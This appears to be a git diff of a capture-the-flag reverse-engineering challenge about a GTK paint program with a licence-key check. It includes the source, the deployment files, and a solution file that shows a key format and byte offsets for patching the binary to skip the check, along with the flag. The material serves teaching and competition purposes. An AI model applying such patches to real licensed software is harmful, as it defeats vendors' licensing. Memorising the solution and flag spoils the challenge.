+ else + cairo_arc(painter, event->x, event->y, linesize, 0, 2*G_PI); + + cairo_fill(painter); + + last_x = event->x; + last_y = event->y; + + gtk_widget_queue_draw(widget); +} + +G_MODULE_EXPORT void change_line_size(GtkWidget* widget, gpointer data) +{ + linesize = gtk_spin_button_get_value(GTK_SPIN_BUTTON(widget)); +} + +G_MODULE_EXPORT void file_save_clicked(GtkWidget* widget, gpointer data) +{ + GtkWindow* window = GTK_WINDOW(gtk_widget_get_toplevel(widget)); + GtkWidget* dialog = gtk_file_chooser_dialog_new("Save your creation", window, GTK_FILE_CHOOSER_ACTION_SAVE, "Cancel", GTK_RESPONSE_CANCEL, "Save", GTK_RESPONSE_ACCEPT, NULL); + + gtk_file_chooser_set_do_overwrite_confirmation(GTK_FILE_CHOOSER(dialog), TRUE); + gtk_file_chooser_set_current_name(GTK_FILE_CHOOSER(dialog), "Untitled document.png"); + int res = gtk_dialog_run(GTK_DIALOG(dialog)); + if (res == GTK_RESPONSE_ACCEPT) + { + char* filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); + cairo_surface_write_to_png(drawsurface, filename); + g_free(filename); + } + + gtk_widget_destroy(dialog); +} + +G_MODULE_EXPORT void file_open_clicked(GtkWidget* widget, gpointer data) +{ + GtkWindow* window = GTK_WINDOW(gtk_widget_get_toplevel(widget)); + GtkWidget* dialog = gtk_file_chooser_dialog_new("Open a creation", window, GTK_FILE_CHOOSER_ACTION_OPEN, "Cancel", GTK_RESPONSE_CANCEL, "Save", GTK_RESPONSE_ACCEPT, NULL); + + int res = gtk_dialog_run(GTK_DIALOG(dialog)); + if (res == GTK_RESPONSE_ACCEPT) + { + char* filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); + + cairo_surface_destroy(drawsurface); + cairo_destroy(painter); + drawsurface = cairo_image_surface_create_from_png(filename); + painter = cairo_create(drawsurface); + cairo_set_source_rgb(painter, lastcolor.red, lastcolor.green, lastcolor.blue); + + g_free(filename); + } + + gtk_widget_destroy(dialog); +} + +G_MODULE_EXPORT void file_new_clicked(GtkWidget* widget, gpointer data) +{ + cairo_surface_destroy(drawsurface); + create_fresh_drawsurface(); + gtk_widget_queue_draw(draw_area); +} + + +G_MODULE_EXPORT int draw_area_draw(GtkWidget* widget, cairo_t* cr, gpointer data) +{ + GtkStyleContext* context = gtk_widget_get_style_context(widget); + int width = gtk_widget_get_allocated_width(widget); + int height = gtk_widget_get_allocated_height(widget); + gtk_render_background(context, cr, 0, 0, width, height); + + cairo_set_source_surface(cr, drawsurface, 0, 0); + cairo_paint(cr); + return FALSE; +} + +static void close_application(GtkWidget* widget, gpointer data) +{ + g_application_quit(G_APPLICATION(app)); +} + +extern const char* paint_xml; + +void build_paint() +{ + GtkBuilder* builder = gtk_builder_new_from_string(paint_xml, strlen(paint_xml)); + gtk_builder_set_application(builder, app); + gtk_builder_connect_signals(builder, NULL); + GtkWidget* window = GTK_WIDGET(gtk_builder_get_object(builder, "main_window")); + g_signal_connect(window, "destroy", G_CALLBACK(close_application), NULL); + + lastcolor.alpha = 1; + GtkWidget* chooser = GTK_WIDGET(gtk_builder_get_object(builder, "color_selector")); + gtk_color_chooser_set_rgba(GTK_COLOR_CHOOSER(chooser), &lastcolor); + + draw_area = GTK_WIDGET(gtk_builder_get_object(builder, "draw_area")); + gtk_widget_add_events(draw_area, GDK_BUTTON_PRESS_MASK | GDK_BUTTON_RELEASE_MASK | GDK_BUTTON_MOTION_MASK); + gtk_widget_show_all(window); + create_fresh_drawsurface(); +} diff --git a/super-hightech-paint/super-hightech-paint-1/buildfiles/src/validate.c b/super-hightech-paint/super-hightech-paint-1/buildfiles/src/validate.c new file mode 100644 index 0000000..e0671d6 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-1/buildfiles/src/validate.c @@ -0,0 +1,107 @@ +#include + +#include +#include + +#define DATA_KILL_APP 1 + +extern GtkApplication *app; +int dont_kill_the_app_pls = 0; + +/** + * This function is deliberately simple to make it easier to debug for the + * contestants + */ +int check_is_key_valid(const char* key) +{ + int ret = 0; + + /* Duplicate the key so we can edit it */ + char* dup = strdup(key); + + if (strlen(dup) != KEYLENGTH) goto cleanup; + + /* Not the correct format */ + if (dup[4] != '-' || dup[9] != '-' || dup[14] != '-') goto cleanup; + + dup[4] = '\0'; + dup[9] = '\0'; + dup[14] = '\0'; + + /* Starts with SHTP */ + if (strcmp(dup, "SHTP")) goto cleanup; + + int a = strtol(&dup[5], NULL, 16); + int b = strtol(&dup[10], NULL, 16); + int c = strtol(&dup[15], NULL, 16); + + /* these are too simple, they are not allowed */ + if (a < 256 || b < 256) goto cleanup; + + if ((a ^ b) != c) goto cleanup; + + ret = 1; + +cleanup: + free(dup); + return ret; +} + +static void invalid_key(GtkWindow* window) +{ + GtkWidget* dialog = gtk_message_dialog_new(window, GTK_DIALOG_DESTROY_WITH_PARENT | GTK_DIALOG_MODAL, GTK_MESSAGE_WARNING, GTK_BUTTONS_OK, "Your entered key is not valid"); + + g_signal_connect_swapped(GTK_WINDOW(dialog), "response", G_CALLBACK(gtk_widget_destroy), dialog); + + gtk_widget_show_all(dialog); + gtk_widget_show_all(GTK_WIDGET(window)); +} + +static void save_key(const char* key) +{ + FILE* f = fopen(KEYSTORE_FILE, "w+"); + fprintf(f, key); + fclose(f); +} + +G_MODULE_EXPORT void button_validate_clicked(GtkWidget* widget, gpointer data) +{ + GtkWidget* window = gtk_widget_get_toplevel(widget); + GtkEntryBuffer* buffer = gtk_entry_get_buffer(GTK_ENTRY(data)); + const char* key = gtk_entry_buffer_get_text(buffer); + + if (!check_is_key_valid(key)) + { + invalid_key(GTK_WINDOW(window)); + return; + } + + /* The key was valid, save the key for later and start the program */ + save_key(key); + + /* Destroy the old window, but make sure the application doesn't exit by overriding the destroy event */ + dont_kill_the_app_pls = 1; + gtk_window_close(GTK_WINDOW(window)); + + /* start the actual paint app */ + build_paint(); +} + +static void close_application(GtkWidget* widget, gpointer data) +{ + /* Ugly, hacky, but it works */ + if (!dont_kill_the_app_pls) + g_application_quit(G_APPLICATION(app)); +} + +extern const char* validate_xml; + +void build_license_key_popup() +{ + GtkBuilder* builder = gtk_builder_new_from_string(validate_xml, strlen(validate_xml)); + gtk_builder_set_application(builder, app); + gtk_builder_connect_signals(builder, NULL); + GtkWidget* window = GTK_WIDGET(gtk_builder_get_object(builder, "validate_window")); + g_signal_connect(window, "destroy", G_CALLBACK(close_application), NULL); + gtk_widget_show_all(window); +} \ No newline at end of file diff --git a/super-hightech-paint/super-hightech-paint-1/buildfiles/src/xml.c b/super-hightech-paint/super-hightech-paint-1/buildfiles/src/xml.c new file mode 100644 index 0000000..f4537de --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-1/buildfiles/src/xml.c @@ -0,0 +1,406 @@ +const char *about_xml = "" + "" + "" + " " + " " + " About" + " False" + " " + " " + " True" + " False" + " vertical" + " " + " " + " True" + " False" + " 30" + " This is the most high tech paint you have ever seen." + "" + " " + " " + " True" + " True" + " 0" + " " + " " + " " + " " + " True" + " False" + " center" + " creator: Robbe De Greef" + " " + " " + " True" + " True" + " 1" + " " + " " + " " + " " + " Close" + " True" + " True" + " True" + " center" + " 30" + " 30" + " " + " " + " " + " False" + " True" + " 2" + " " + " " + " " + " " + " " + ""; + +const char *paint_xml = + "" + "" + "" + " " + " " + " 100" + " 1" + " 10" + " " + " " + " False" + " 1280" + " 720" + " " + " " + " True" + " False" + " vertical" + " " + " " + " True" + " False" + " " + " " + " True" + " False" + " _File" + " True" + " " + " " + " True" + " False" + " " + " " + " gtk-new" + " True" + " False" + " True" + " True" + " " + " " + " " + " " + " " + " gtk-open" + " True" + " False" + " True" + " True" + " " + " " + " " + " " + " " + " gtk-save-as" + " True" + " False" + " True" + " True" + " " + " " + " " + " " + " " + " True" + " False" + " " + " " + " " + " " + " gtk-quit" + " True" + " False" + " True" + " True" + " " + " " + " " + " " + " " + " " + " " + " " + " " + " True" + " False" + " _Help" + " True" + " " + " " + " True" + " False" + " " + " " + " gtk-about" + " True" + " False" + " True" + " True" + " " + " " + " " + " " + " " + " " + " " + " " + " " + " False" + " True" + " 0" + " " + " " + " " + " " + " True" + " False" + " " + " " + " True" + " False" + " " + " " + " True" + " False" + " Brush tool to draw with" + " document-edit-symbolic" + " " + " " + " " + " False" + " True" + " " + " " + " " + " " + " True" + " False" + " True" + " edit-clear-all-symbolic" + " " + " " + " " + " False" + " True" + " " + " " + " " + " " + " False" + " True" + " 0" + " " + " " + " " + " " + " True" + " True" + " True" + " " + " " + " " + " False" + " True" + " 1" + " " + " " + " " + " " + " True" + " True" + " adjustment1" + " 2" + " " + " " + " " + " False" + " True" + " 2" + " " + " " + " " + " " + " False" + " True" + " 1" + " " + " " + " " + " " + " True" + " False" + " " + " " + " False" + " True" + " 2" + " " + " " + " " + " " + " True" + " True" + " True" + " True" + " True" + " True" + " True" + " " + " " + " " + " " + " " + " " + " False" + " True" + " 3" + " " + " " + " " + " " + " True" + " False" + " " + " " + " False" + " True" + " 4" + " " + " " + " " + " " + " True" + " False" + " " + " " + " True" + " False" + " 10" + " 10" + " 6" + " 6" + " vertical" + " 2" + " " + " " + " True" + " True" + " 0" + " " + " " + " " + " " + " True" + " False" + " 10" + " 10" + " Version 4.2.0" + " " + " " + " False" + " True" + " 1" + " " + " " + " " + " " + " False" + " True" + " 5" + " " + " " + " " + " " + " " + ""; + +const char *validate_xml = + "" + "" + "" + " " + " " + " False" + " Super High Tech Paint" + " False" + " center" + " 500" + " 300" + " center" + " " + " " + " " + " True" + " False" + " center" + " center" + " 6" + " True" + " " + " " + " True" + " False" + " 10" + " 10" + " Please enter a valid license key" + " " + " " + " 0" + " 0" + " " + " " + " " + " " + " True" + " True" + " 19" + " 0.5" + " XXXX-XXXX-XXXX-XXXX" + " " + " " + " 0" + " 1" + " " + " " + " " + " " + " Validate" + " True" + " True" + " True" + " True" + " center" + " " + " " + " " + " 0" + " 2" + " " + " " + " " + " " + " " + ""; diff --git a/super-hightech-paint/super-hightech-paint-1/buildfiles/ui/about.glade b/super-hightech-paint/super-hightech-paint-1/buildfiles/ui/about.glade new file mode 100644 index 0000000..7ab31c1 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-1/buildfiles/ui/about.glade @@ -0,0 +1,60 @@ + + + + + + About + False + + + True + False + vertical + + + True + False + 30 + This is the most high tech paint you have ever seen. + + + + True + True + 0 + + + + + True + False + center + creator: Robbe De Greef + + + True + True + 1 + + + + + Close + True + True + True + center + 30 + 30 + + + + False + True + 2 + + + + + + diff --git a/super-hightech-paint/super-hightech-paint-1/buildfiles/ui/about.glade~ b/super-hightech-paint/super-hightech-paint-1/buildfiles/ui/about.glade~ new file mode 100644 index 0000000..8b1f49f --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-1/buildfiles/ui/about.glade~ @@ -0,0 +1,60 @@ + + + + + + About + False + + + True + False + vertical + + + True + False + 30 + This is the most high tech paint you have ever seen. + + + + True + True + 0 + + + + + True + False + center + creator: Robbe De Greef + + + True + True + 1 + + + + + Close + True + True + True + center + 30 + 30 + + + + False + True + 2 + + + + + + diff --git a/super-hightech-paint/super-hightech-paint-1/buildfiles/ui/paint.glade b/super-hightech-paint/super-hightech-paint-1/buildfiles/ui/paint.glade new file mode 100644 index 0000000..1257982 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-1/buildfiles/ui/paint.glade @@ -0,0 +1,276 @@ + + + + + + 100 + 1 + 10 + + + False + 1280 + 720 + + + True + False + vertical + + + True + False + + + True + False + _File + True + + + True + False + + + gtk-new + True + False + True + True + + + + + + gtk-open + True + False + True + True + + + + + + gtk-save-as + True + False + True + True + + + + + + True + False + + + + + gtk-quit + True + False + True + True + + + + + + + + + + True + False + _Help + True + + + True + False + + + gtk-about + True + False + True + True + + + + + + + + + + False + True + 0 + + + + + True + False + + + True + False + + + True + False + Brush tool to draw with + document-edit-symbolic + + + + False + True + + + + + True + False + True + edit-clear-all-symbolic + + + + False + True + + + + + False + True + 0 + + + + + True + True + True + + + + False + True + 1 + + + + + True + True + adjustment1 + 2 + + + + False + True + 2 + + + + + False + True + 1 + + + + + True + False + + + False + True + 2 + + + + + True + True + True + True + True + True + True + + + + + + + False + True + 3 + + + + + True + False + + + False + True + 4 + + + + + True + False + + + True + False + 10 + 10 + 6 + 6 + vertical + 2 + + + True + True + 0 + + + + + True + False + 10 + 10 + Version 4.2.0 + + + False + True + 1 + + + + + False + True + 5 + + + + + + diff --git a/super-hightech-paint/super-hightech-paint-1/buildfiles/ui/paint.glade~ b/super-hightech-paint/super-hightech-paint-1/buildfiles/ui/paint.glade~ new file mode 100644 index 0000000..b774400 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-1/buildfiles/ui/paint.glade~ @@ -0,0 +1,251 @@ + + + + + + 100 + 1 + 10 + + + False + 1280 + 720 + + + True + False + vertical + + + True + False + + + True + False + _File + True + + + True + False + + + gtk-new + True + False + True + True + + + + + + gtk-open + True + False + True + True + + + + + + gtk-save-as + True + False + True + True + + + + + + True + False + + + + + gtk-quit + True + False + True + True + + + + + + + + + + True + False + _Help + True + + + True + False + + + gtk-about + True + False + True + True + + + + + + + + + + False + True + 0 + + + + + True + False + + + True + False + + + True + False + Brush tool to draw with + document-edit-symbolic + + + + False + True + + + + + True + False + True + edit-clear-all-symbolic + + + + False + True + + + + + False + True + 0 + + + + + True + True + True + + + + False + True + 1 + + + + + True + True + adjustment1 + 2 + + + + False + True + 2 + + + + + False + True + 1 + + + + + True + False + + + False + True + 2 + + + + + True + True + True + True + True + True + True + + + + + + + False + True + 3 + + + + + True + False + + + False + True + 4 + + + + + True + False + 10 + 10 + 6 + 6 + vertical + 2 + + + False + True + 5 + + + + + + diff --git a/super-hightech-paint/super-hightech-paint-1/buildfiles/ui/validate_field.glade b/super-hightech-paint/super-hightech-paint-1/buildfiles/ui/validate_field.glade new file mode 100644 index 0000000..254bd45 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-1/buildfiles/ui/validate_field.glade @@ -0,0 +1,66 @@ + + + + + + False + Super High Tech Paint + False + center + 500 + 300 + center + + + + True + False + center + center + 6 + True + + + True + False + 10 + 10 + Please enter a valid license key + + + 0 + 0 + + + + + True + True + 19 + 0.5 + XXXX-XXXX-XXXX-XXXX + + + 0 + 1 + + + + + Validate + True + True + True + True + center + + + + 0 + 2 + + + + + + diff --git a/super-hightech-paint/super-hightech-paint-1/buildfiles/ui/validate_field.glade~ b/super-hightech-paint/super-hightech-paint-1/buildfiles/ui/validate_field.glade~ new file mode 100644 index 0000000..494611e --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-1/buildfiles/ui/validate_field.glade~ @@ -0,0 +1,66 @@ + + + + + + False + Super High Tech Paint + False + center + 500 + 300 + center + + + + True + False + center + center + 6 + True + + + True + False + 10 + 10 + Please enter a valid license key + + + 0 + 0 + + + + + True + True + 19 + 0.5 + XXXX-XXXX-XXXX-XXXX + + + 0 + 1 + + + + + Validate + True + True + True + True + center + + + + 0 + 2 + + + + + + diff --git a/super-hightech-paint/super-hightech-paint-1/src/Dockerfile b/super-hightech-paint/super-hightech-paint-1/src/Dockerfile new file mode 100644 index 0000000..aac2c3b --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-1/src/Dockerfile @@ -0,0 +1,15 @@ +FROM debian:bullseye + +RUN apt update -y && apt install -y python3 + +RUN useradd -m ctf + +WORKDIR / +COPY checker.py / +COPY key.png / +COPY spawner.py / + +CMD ["python3", "spawner.py", "--host", "0.0.0.0", "--port", "3002", "python3", "checker.py"] + +EXPOSE 3002 + diff --git a/super-hightech-paint/super-hightech-paint-1/src/checker.py b/super-hightech-paint/super-hightech-paint-1/src/checker.py new file mode 100755 index 0000000..c50b38b --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-1/src/checker.py @@ -0,0 +1,51 @@ +#!/bin/python3 + +import sys +import socket +import base64 + +# s = socket.socket() +# s.bind(('127.0.0.1', 3002)) +# s.listen(5) + +# conn, addr = s.accept() +# conn.send(b'Hello world') +# conn.close() + +def keyValid(key): + # format needs to be SHTP-AAAA-BBBB-CCCC + # not allowed a < 256 || b < 256 + if len(key) != 19: return False + + parts = key.split('-') + + if len(parts) != 4: return False + for p in parts: + if len(p) != 4: return False + + if parts[0] != 'SHTP': return False + + try: + parts = [int(p, 16) for p in parts[1:]] + except ValueError: + return False + + if parts[0] < 256 or parts[1] < 256: return False + if (parts[0] ^ parts[1]) != parts[2]: return False + + return True + +print("Do you have a key for me???") +key = input("> ") + +if keyValid(key): + print("Omg thanks so much, do you want to see the drawing I made with it???") + ans = input("> ") + if ans.lower() != "yes": + print("Okay, bye :(") + exit(0) + + with open("key.png", "rb") as f: + sys.stdout.buffer.write(base64.b64encode(f.read())) +else: + print("This key doesn't work!") diff --git a/super-hightech-paint/super-hightech-paint-1/src/ctf.xinetd b/super-hightech-paint/super-hightech-paint-1/src/ctf.xinetd new file mode 100644 index 0000000..5de0691 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-1/src/ctf.xinetd @@ -0,0 +1,22 @@ +service ctf +{ + disable = no + socket_type = stream + protocol = tcp + wait = no + user = root + type = UNLISTED + port = 3002 # <-- Poort van de challenge (Je moet wel nog steeds port mapping doen in Docker ofc) + bind = 0.0.0.0 + server = /usr/sbin/chroot # <-- hier het commando invoeren wanneer een netcat verbinding begint + server_args = --userspec=0:0 / python3 /checker.py # <--- Hier commando argumenten aan toevoegen + banner_fail = /etc/banner_fail + # safety options + per_source = 10 # the maximum instances of this service per source IP address + rlimit_cpu = 1 # the maximum number of CPU seconds that the service may use + #rlimit_as = 1024M # the Address Space resource limit for the service + log_type = SYSLOG authpriv + log_on_success = HOST PID + log_on_failure = HOST +} + diff --git a/super-hightech-paint/super-hightech-paint-1/src/docker-compose.yml b/super-hightech-paint/super-hightech-paint-1/src/docker-compose.yml new file mode 100644 index 0000000..f16357f --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-1/src/docker-compose.yml @@ -0,0 +1,6 @@ +version: '3.9' +services: + super-hightech-paint-1: + build: . + ports: + - 3002:3002 diff --git a/super-hightech-paint/super-hightech-paint-1/src/key.png b/super-hightech-paint/super-hightech-paint-1/src/key.png new file mode 100644 index 0000000..884a511 Binary files /dev/null and b/super-hightech-paint/super-hightech-paint-1/src/key.png differ diff --git a/super-hightech-paint/super-hightech-paint-1/src/spawner.py b/super-hightech-paint/super-hightech-paint-1/src/spawner.py new file mode 100644 index 0000000..9f2b35e --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-1/src/spawner.py @@ -0,0 +1,48 @@ +import socket +from threading import Thread +import subprocess +import sys +import argparse + +# How to use: +# Set the host and port above +# Invoke the spawner like this +# python3 spawner.py -h -p + +def on_new_client(conn, addr, cmd): + print(f"New connection with {addr}") + file = conn.makefile('w') + p = subprocess.Popen(cmd, stdout=file, stdin=file) + conn.close(); + +def main(): + parser = argparse.ArgumentParser(description="Spawn some processes over a socket") + parser.add_argument('--host', type=str, required=True, nargs=1, help='The host ip to listen on') + parser.add_argument('--port', type=int, required=True, nargs=1, help='The host port to listen on') + parser.add_argument('rest', nargs=argparse.REMAINDER) + args = parser.parse_args() + + s = socket.socket() + host = args.host[0] + port = args.port[0] + cmd = args.rest + print(f"Command spawn each time: {cmd}") + + s.bind((host, port)) + s.listen(5) + + print(f"Now listening for connections on {host}:{port}") + try: + while True: + conn, addr = s.accept() + t = Thread(target=on_new_client, args=(conn,addr, cmd)) + t.run() + except KeyboardInterrupt: + pass + + s.close() + print("Goodbye") + +if __name__ == '__main__': + main() + diff --git a/super-hightech-paint/super-hightech-paint-1/src/test.png b/super-hightech-paint/super-hightech-paint-1/src/test.png new file mode 100644 index 0000000..f04615e Binary files /dev/null and b/super-hightech-paint/super-hightech-paint-1/src/test.png differ diff --git a/super-hightech-paint/super-hightech-paint-1/super-hightech-paint b/super-hightech-paint/super-hightech-paint-1/super-hightech-paint new file mode 100755 index 0000000..be8bcd1 Binary files /dev/null and b/super-hightech-paint/super-hightech-paint-1/super-hightech-paint differ diff --git a/super-hightech-paint/super-hightech-paint-2/.vscode/settings.json b/super-hightech-paint/super-hightech-paint-2/.vscode/settings.json new file mode 100644 index 0000000..6c712e4 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/.vscode/settings.json @@ -0,0 +1,6 @@ +{ + "files.associations": { + "*.py3": "python", + "stdio.h": "c" + } +} \ No newline at end of file diff --git a/super-hightech-paint/super-hightech-paint-2/README.md b/super-hightech-paint/super-hightech-paint-2/README.md new file mode 100644 index 0000000..4ba58c8 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/README.md @@ -0,0 +1,26 @@ +# Super Hightech Paint 1 +## Text +The year is 2077 and your grandma used to use the super-hightech-paint program back in the good old days. Since it has +been 55 years since anyone last used it, the website that sold the license keys is now offline. Your grandma, +who has since been uploaded into a computer, asked if you could send her a copy of the program that just works out of +the box. + +The only version you found of the program is the last version ever made. The patch notes read: + + ... + Security fix: Since there seemed to be someone who figured out our secret license key algorithm, + we upgraded our security and now use top of the line key verification techniques. + ... + +Well it seems like they really learned their lesson, luckily your grandma asked you to send her the whole program and not +just a key, so maybe you can still figure something out. + +You can connect with her via the `./cyber-grandma-linkup` program. To let her test the new program out you +can run `./cyber-grandma-linkup ./super-hightech-paint`. + +## Files +super-hightech-paint +cyber-grandma-linkup + +## How to Deploy +n/a diff --git a/super-hightech-paint/super-hightech-paint-2/SOLUTION.md b/super-hightech-paint/super-hightech-paint-2/SOLUTION.md new file mode 100644 index 0000000..c961ab5 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/SOLUTION.md @@ -0,0 +1,52 @@ +## Difficulty +medium - 300/500 punten +(here you have to change binaries and understand how they work. This seems a little harder for most) + +## How To Solve +There are probably many ways to solve this challenge, this is my solution. + +I'm assuming you already have some knowledge about the binary from the previous challenge + +I personally used GDB for this but other tools like ghidra that +decompile your code might make your life easier. + +All the code that I patched was in the app_start function. + +The code tries to open a file called .keystore. +If it fails it continues to the popup immediately +So we need to make sure it thinks the .keystore exists. +When reversing the code we see the c code probably looked like this: + + ... + FILE* fp = fopen(".keystore", "r"); + if (fp == NULL) + { + goto popup + } + ... + +To bypass this if statement, I chose to change the "r" to "w". This way +the fopen call will return a valid file pointer because it just created +the .keystore to write to it. Another approach might be to change the if +statement to jump to the popup if the fp is equal to 1 instead of equal 0. +In GDB I can easily see the offset of the string so I simply changed the 'r' +character to a 'w' with hexedit + + offset: 0x5004 0x72 to 0x77 + +Now the rest of the code reads from the opened file (which will fail cause +we just tricked it into thinking it exists) and checks if the key inside +is valid. Again there are multiple ways to tackle this problem. I attacked +the `cmpl $0x0,-0x1c(%rbp)` line. This checks if the return code of the +check_is_key_valid is 0. If it is the code shows the popup. I changed this +line to `cmpl $0x1,-0x1c(%rbp)`. Again with GDB I got the offset of the +instruction and then I got the actual instruction by using `as` to compile +`_start: cmpl $0x1,-0x1c(%rbp)` and reading the output with GDB. + + offset: 0x36da 0x00e47d83 to 0x01e47d83 + +After that the program is successfully patched and runs without asking for a +license check so we can give it to grandma and she will draw our key for us. + +## Flag +IGCTF{AY_4Y_C4PT4IN} diff --git a/super-hightech-paint/super-hightech-paint-2/buildfiles/Makefile b/super-hightech-paint/super-hightech-paint-2/buildfiles/Makefile new file mode 100644 index 0000000..44ff8ef --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/buildfiles/Makefile @@ -0,0 +1,27 @@ +CC = gcc +LD = gcc + +CC_FLAGS = -Wall -Wextra -Werror -Wno-unused-parameter -Wno-unused-function -Wno-unused-variable +LD_FLAGS = -rdynamic -lgtk-3 -lgdk-3 -lpangocairo-1.0 -lpango-1.0 -lharfbuzz -latk-1.0 -lcairo-gobject -lcairo -lgdk_pixbuf-2.0 -lgio-2.0 -lgobject-2.0 -lglib-2.0 -lcrypto -pthread + +SOURCES = $(shell find src/ -name "*.c" -type f) +OBJECTS = ${SOURCES:.c=.o} + +INCLUDES = -I ./include -I/usr/include/gtk-3.0 -I/usr/include/at-spi2-atk/2.0 -I/usr/include/at-spi-2.0 -I/usr/include/dbus-1.0 -I/usr/lib/x86_64-linux-gnu/dbus-1.0/include -I/usr/include/gtk-3.0 -I/usr/include/gio-unix-2.0 -I/usr/include/cairo -I/usr/include/pango-1.0 -I/usr/include/fribidi -I/usr/include/harfbuzz -I/usr/include/atk-1.0 -I/usr/include/cairo -I/usr/include/pixman-1 -I/usr/include/uuid -I/usr/include/freetype2 -I/usr/include/libpng16 -I/usr/include/gdk-pixbuf-2.0 -I/usr/include/libmount -I/usr/include/blkid -I/usr/include/glib-2.0 -I/usr/lib/x86_64-linux-gnu/glib-2.0/include + +.PHONY = all clean + +all: super-hightech-paint + +super-hightech-paint: ${OBJECTS} + $(LD) -o $@ $^ $(LD_FLAGS) + +src/gtk_stuff.o: + $(CC) ${CC_FLAGS} $(INCLUDES) -c src/gtk_stuff.c -o $@ -O3 + +%.o: %.c + $(CC) ${CC_FLAGS} $(INCLUDES) -c $< -o $@ + +clean: + $(info Cleaning dependencies) + rm -rf ${OBJECTS} super-hightech-paint diff --git a/super-hightech-paint/super-hightech-paint-2/buildfiles/include/gtk_stuff.h b/super-hightech-paint/super-hightech-paint-2/buildfiles/include/gtk_stuff.h new file mode 100644 index 0000000..c11c057 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/buildfiles/include/gtk_stuff.h @@ -0,0 +1,8 @@ +#ifndef GTK_STUFF_H +#define GTK_STUFF_H + +typedef void (*gtk_update_cb_t)(int, int, int, int); + +void gtk_buffer_ready_for_refresh(gtk_update_cb_t cb); + +#endif /* GTK_STUFF_H */ \ No newline at end of file diff --git a/super-hightech-paint/super-hightech-paint-2/buildfiles/include/paint.h b/super-hightech-paint/super-hightech-paint-2/buildfiles/include/paint.h new file mode 100644 index 0000000..f485256 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/buildfiles/include/paint.h @@ -0,0 +1,6 @@ +#ifndef PAINT_H +#define PAINT_H + +void build_paint(); + +#endif /* PAINT_H */ \ No newline at end of file diff --git a/super-hightech-paint/super-hightech-paint-2/buildfiles/include/validate.h b/super-hightech-paint/super-hightech-paint-2/buildfiles/include/validate.h new file mode 100644 index 0000000..a53aa32 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/buildfiles/include/validate.h @@ -0,0 +1,10 @@ +#ifndef VALIDATE_H +#define VALIDATE_H + +#define KEYSTORE_FILE ".keystore" +#define KEYLENGTH 102 + +int check_is_key_valid(const char* key); +void build_license_key_popup(); + +#endif /* VALIDATE_H */ \ No newline at end of file diff --git a/super-hightech-paint/super-hightech-paint-2/buildfiles/src/gtk_stuff.c b/super-hightech-paint/super-hightech-paint-2/buildfiles/src/gtk_stuff.c new file mode 100644 index 0000000..237deea --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/buildfiles/src/gtk_stuff.c @@ -0,0 +1,80 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +/** + * All the labels and strings in this code do not have anything to do with GTK stuff, + * it is simply obfuscated to make sure the participants don't waste time trying to + * reverse this. + */ + +#define SOCK_PATH "/tmp/" "gtk_buffer" + +#define PKT_TYPE_CALLSIGN 1 +#define PKT_TYPE_ACCEPT_STROKE 2 +#define PKT_TYPE_DRAW 3 + +struct packet +{ + int type; + int x_start; + int y_start; + int x_end; + int y_end; +}; + +gtk_update_cb_t gtk_update_cb; +pthread_t g_pid; +int g_socket_fd; + + +/* DO NOT DELETE: poll function for draw commands */ +void* gtk_buffer_flip(void* x) +{ + int fd = g_socket_fd; + struct packet pckt; + + while (read(fd, &pckt, sizeof(struct packet))) + { + if (pckt.type == PKT_TYPE_DRAW) + gtk_update_cb(pckt.x_start, pckt.y_start, pckt.x_end, pckt.y_end); + } + return NULL; +} + + +/* DO NOT DELETE: this will tell the grandme program we are operational and can receive commands */ +void gtk_buffer_ready_for_refresh(gtk_update_cb_t cb) +{ + struct sockaddr_un address; + struct packet pkt; + + g_socket_fd = socket(PF_UNIX, SOCK_STREAM, 0); + if (g_socket_fd < 0) + return; + + memset(&address, 0, sizeof(struct sockaddr_un)); + address.sun_family = AF_UNIX; + snprintf(address.sun_path, UNIX_PATH_MAX, SOCK_PATH); + + if (connect(g_socket_fd, (struct sockaddr*) &address, sizeof(struct sockaddr_un)) != 0) + { + return; + } + + pkt.type = PKT_TYPE_ACCEPT_STROKE; + write(g_socket_fd, &pkt, sizeof(struct packet)); + + gtk_update_cb = cb; + + pthread_create(&g_pid, NULL, gtk_buffer_flip, NULL); +} diff --git a/super-hightech-paint/super-hightech-paint-2/buildfiles/src/main.c b/super-hightech-paint/super-hightech-paint-2/buildfiles/src/main.c new file mode 100644 index 0000000..41f6eaf --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/buildfiles/src/main.c @@ -0,0 +1,60 @@ +#include +#include + +#include +#include +#include + +#include +#include +#include + +GtkApplication* app; + +/** + * Activates the GUI application. + * Checks to see if the key is valid, if it is we start the paint app + * otherwise it shows the license key popup. + */ +void app_start() +{ + GtkWidget* app_window = gtk_application_window_new(app); + + /* If we already have a key file try and load it from disk */ + FILE *f = fopen(KEYSTORE_FILE, "r"); + if (f != NULL) + { + char* loaded_key = malloc((KEYLENGTH + 1) * sizeof(char)); + + /* Read in the key */ + fread(loaded_key, sizeof(char), KEYLENGTH, f); + /* Check for validity */ + int valid_key = check_is_key_valid(loaded_key); + fclose(f); + free(loaded_key); + + if (valid_key) + { + /* The key was valid, start the program */ + build_paint(); + return; + } + + /* If we end up here the key was not valid */ + } + + build_license_key_popup(); +} + +int main(int argc, char** argv) +{ + int status; + + app = 